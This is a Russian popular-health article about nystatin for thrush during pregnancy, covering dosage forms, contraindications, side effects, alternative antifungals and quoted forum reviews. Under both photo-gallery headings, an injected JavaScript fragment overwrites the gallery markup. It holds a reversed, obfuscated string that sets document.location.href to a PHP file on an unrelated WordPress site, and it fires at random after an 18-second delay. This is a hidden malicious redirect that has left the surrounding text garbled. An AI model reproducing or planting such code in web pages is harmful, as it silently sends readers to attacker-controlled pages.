Нистатин при беременности: если польза превышает риск

Дискомфорт при молочнице знаком многим женщинам: зуд, творожистые выделения, неприятный запах. А для будущей мамы и плода эта вагинальная инфекция представляет серьёзную опасность в случае бездействия или неправильного лечения. Однако в период вынашивания ребёнка многие противогрибковые препараты находятся под запретом. В число нежелательных входит и Нистатин — хорошо знакомое средство с долгим «послужным списком». И всё же некоторые гинекологи продолжают его назначать, несмотря на то что в ряду прямых противопоказаний в инструкции значится период беременности.

Разрешён ли Нистатин беременным

Нистатин считается одним из родоначальников лекарственных средств, предназначенных для борьбы с патогенными грибками. В инструкции беременность указана в перечне противопоказаний. Связано это с тем, что специальных клинических исследований, подтверждающих или опровергающих негативное влияние на мать или ребёнка, не проводилось. И всё же препарат иногда назначают беременным женщинам, учитывая соотношение пользы для женского организма и возможного вреда для плода.

Подобное послабление связано с тем, что препарат оказывает местное воздействие на грибки, практически не всасывается в сосуды и не попадает в системный кровоток. Таким образом, теоретически Нистатин не может навредить растущему в материнской утробе малышу.

Однако не стоит забывать, что использование любых медикаментов в первом триместре, когда формируются основные органы и ткани плода, не рекомендовано. В эти месяцы лучше применять более щадящие противогрибковые препараты. Назначение Нистатина допустимо лишь на поздних сроках беременности и по серьёзным медицинским показаниям.

Состав и действие препарата

Активным компонентом Нистатина является одноимённый противогрибковый антибиотик, который вырабатывается лучистыми грибками. Из-за натурального происхождения его дозировку рассчитывают не в привычных граммах, а в единицах действия (ЕД).

Благодаря избирательной активности в отношении грибков группы кандида препарат показывает высокую эффективность в борьбе с вагинальным кандидозом. Нистатин образует на поверхности клеточной мембраны микроорганизмов своеобразную плотную плёнку, которая препятствует их питанию и развитию. В небольших дозах Нистатин замедляет рост грибков, а в крупных — вызывает их гибель.

С учётом того факта, что микроорганизмы практически не вырабатывают иммунитета к препарату, результат от применения лекарственного средства проявляется быстро.

Ещё одно полезное качество медикамента — он не влияет на жизнедеятельность нормальных бактерий и грибков: полезная микрофлора поражённых участков тела остаётся неповреждённой.

Показания

Органы желудочно-кишечного тракта и слизистая оболочка влагалища обладают условно-патогенной микрофлорой. Из-за сниженного иммунитета в период вынашивания ребёнка патогенные грибки начинают преобладать над полезными микроорганизмами. Это и приводит к развитию кандидоза.

Согласно медицинскому руководству, Нистатин используется при выраженном инфекционном поражении:

• кожных покровов;
• органов желудочно-кишечного тракта;
• влагалища;
• нижних отделов кишечника.

Кроме того, применяют медикамент и для профилактики возникновения кандидоза в случае:

• продолжительной противомикробной и антибактериальной терапии;
• местного использования противомикробных препаратов;
• заражения грибками до и после операционного вмешательства.

И всё же основная сфера применения Нистатина при беременности — лечение молочницы половых органов. Для терапии кандидоза внутренних органов, которая подразумевает пероральный приём лекарства, медики предпочитают назначать не Нистатин, а более современные и безопасные противогрибковые препараты.

Формы выпуска

Производители выпускают Нистатин в нескольких лекарственных формах. Они отличаются количеством активного вещества, вспомогательными компонентами и областью применения. Выбор предпочтительной для беременной женщины разновидности препарата осуществляет только лечащий доктор в индивидуальном порядке.

Таблица: состав и применение нистатиновых свечей, таблеток и мази

Лекарственная форма	Количество нистатина	Сфера применения	Примерная стоимость
Таблетки	250000 ЕД; 500000 ЕД.	Кандидоз внутренних органов; профилактика кандидоза.	От 17 р.
Суппозитории ректальные		Кандидоз нижних отделов кишечника	От 53 р.
Суппозитории вагинальные		Вагинальный кандидоз
Мазь	100000 ЕД	Кандидоз слизистых оболочек, кожи	От 37 р.

Фотогалерея: лекарственные формы Нистатина

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»16574,16575,16576,16577″]

В период вынашивания ребёнка таблетированная форма препарата запрещена, поскольку часть действующего вещества всё же попадает в кровоток. Обычно беременным женщинам выписывают мазь или вагинальные суппозитории. Если молочница перешла в хроническую стадию, доктор может одновременно назначить свечи и мазь.

Самой безопасной лекарственной формой Нистатина для будущей мамы считается мазь. Она не проникает в кровеносные сосуды и оказывает только местное воздействие.

Противопоказания и побочные эффекты

В инструкции к медикаменту указан список ограничений, который, помимо периода вынашивания ребёнка, включает:

• гиперчувствительность к основному и вспомогательным компонентам;
• кормление грудью;
• воспаление поджелудочной железы;
• язву желудка или двенадцатипёрстной кишки;
• возраст до 18 лет (для свечей).

При терапии молочницы Нистатином нежелательные явления встречаются достаточно редко. При использовании свечей и мази могут наблюдаться следующие реакции:

• жжение и зуд;
• раздражение кожных покровов и слизистых оболочек;
• крапивница;
• тошнота и рвота;
• диарея.

При возникновении подобных тревожных симптомов женщине нужно срочно проконсультироваться с лечащим врачом. В зависимости от тяжести побочных реакций он может снизить суточную дозу или вообще отменить медикамент.

Помимо этого, нистатин вступает во взаимодействие с другими лекарственными средствами. Так, не следует одновременно применять нистатин и клотримазол, поскольку активность последнего значительно понижается.

Инструкции по безопасному применению

При назначении препарата лечащий доктор должен учитывать тяжесть заболевания, особенности здоровья женщины, потекание и срок беременности.

Стандартные рекомендации к применению выглядят следующим образом:

1. Свечи вводят один или два раза в день, в утреннее или вечернее время. Продолжительность терапии — 10–14 суток.
2. Мазь наносят на очаг грибкового поражения дважды в день в течение 10 суток.
3. Грибки развивают устойчивость к активному веществу этого препарата крайне редко, однако возможность возникновения устойчивости возбудителей к Нистатину всё же есть. Поэтому нужно строго соблюдать схему лечения, прописанную доктором, и не прерывать курс без его рекомендаций.

Беременной пациентке врач может сократить продолжительность курса лечения, частоту применения или выписать препарат с меньшим количеством активного вещества, поэтому ни в коем случае не занимайтесь самолечением.

Кроме этого, для устойчивого эффекта необходимо, чтобы половой партнёр также прошёл курс противогрибковой терапии. В случае отсутствия лечения партнёра высока вероятность рецидива у женщины.

Чем можно заменить

В период вынашивания ребёнка использование многих противогрибковых средств или запрещено, или существенно ограничено. Поэтому замена Нистатина должна быть проведена доктором. Она необходима, если у будущей мамы обнаружена непереносимость компонентов или медикамент оказался неэффективным.

Таблица: противогрибковые средства, которые врач может назначить беременной

Название	Формы выпуска	Активный компонент	Показания	Основные противопоказания	Применение при беременности	Примерная стоимость
Кетоконазол	Свечи	Кетоконазол	Вагинальный кандидоз; профилактика появления молочницы.	Непереносимость компонентов	Противопоказан в I триместре	От 255 р.
Клотримазол	Крем; раствор; мазь; гель; свечи; таблетки.	Клотримазол	Дерматомикоз; кандидозный вульвит; кандидозный баланит; вагинальный кандидоз.		Применяется по назначению врача, если польза для женщины превышает риск для плода	От 15 р.
Тержинан	Вагинальные таблетки	Тернидазол; сульфат неомицина; нистатин; преднизолон; масла гвоздики и герани.	Вагинальный кандидоз; бактериальный вагинит; трихомониаз влагалища; смешанный вагинит.		Со II триместра	От 310 р.
Пимафуцин	Таблетки; свечи; крем.	Натамицин	Кандидоз внутренних органов; вагинальный кандидоз; вульвит; вульвовагинит; кольпит.		Без ограничений	От 242 р.
Мирамистин	Раствор	Бензилдиметил-миристоиламино-пропиламмония хлорида моногидрат	Профилактика и терапия воспалительных заболеваний (вульвовагинит, эндометрит); грибковые инфекции (молочница).			От 178 р.
Эпиген Интим	Спрей	Активированная глицирризиновая кислота	Профилактика вирусных заболеваний, передаваемых половым путём; неприятные ощущения во влагалище; вульвовагинит; бактериальный вагиноз.			От 950 р.

Фотогалерея: противогрибковые препараты для лечения молочницы в разные триместры беременности

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»16578,16579,16580,16581,16582,16583″]

Отзывы женщин

У меня 21 неделя беременности, мазок показал молочницу, но она меня не беспокоит! Врач прописала по 1 свече с нистатином в сутки. При этом сказала, что хоть и Нистатин считается антибиотиком, в зависимости от дозы нужно лечить молочницу сейчас, чтоб не передалась эта гадость моей малышке. Угрозы по применению бывают на ранних сроках беременности. Сейчас же угроз нет. Поэтому не бойтесь и лечите молочницу!

Танюшка
http://www.woman.ru/health/Pregnancy/thread/4040796/

В конце беременности, уже почти перед родами, у меня обнаружили увеличенное количество кандид во влагалище. Вот и прописали мне свечи с нистатином. Во время родов можно ведь случайно малыша заразить, поэтому обязательно нужно пролечить. Я прошла курс лечения из десяти свечей ежедневно, и всё нормализовалось. С тех пор прошло уже два года, но кандидоза больше не было, организм уже может и сам справляться с ним.

Оксана
http://www.tiensmed.ru/news/nistatinnus2.html

Всю беременность я мучилась такой неприятной штукой, как молочница. Когда я в третий раз попала на сохранение, у меня опять её нашли… Врач, не мудрствуя лукаво, назначила мне свечи Нистатин. <…> Эти копеечные свечки Нистатин помогли всем у нас в палате, кто столкнулся с молочницей. А это главное. Рекомендовать их может только врач, но мне их использовать нравилось, ни жжения, ни сухости, лечение прошло гладко, и больше во время беременности я с этой проблемой не сталкивалась.

Монализа
http://otzovik.com/review_755892.html

У меня всю беременность молочница была. Чем я только не лечилась: и Нистатином, и Клотримазолом, и ещё чем-то. Она проходила ненадолго и начиналась опять. На ребёнка не повлияло. Всё отлично. После родов молочницей ни разу не мучилась!

Septembre
http://www.galya.ru/clubs/show.php?dlimit=15&p=1&id=97371#allcomments

Видео: лечение молочницы при беременности

Несмотря на то что медицинское руководство запрещает использование Нистатина в период вынашивания ребёнка, этот противогрибковый медикамент давно и успешно применяют для терапии молочницы, в том числе и у женщин в положении. Среди его преимуществ — демократичная цена и эффективность. Однако будущим мамам не стоит самостоятельно принимать решение об использовании этого медикамента. Лишь доктор вправе назначать Нистатин, определять схему лечения и заменять препарат при возникновении нежелательных последствий.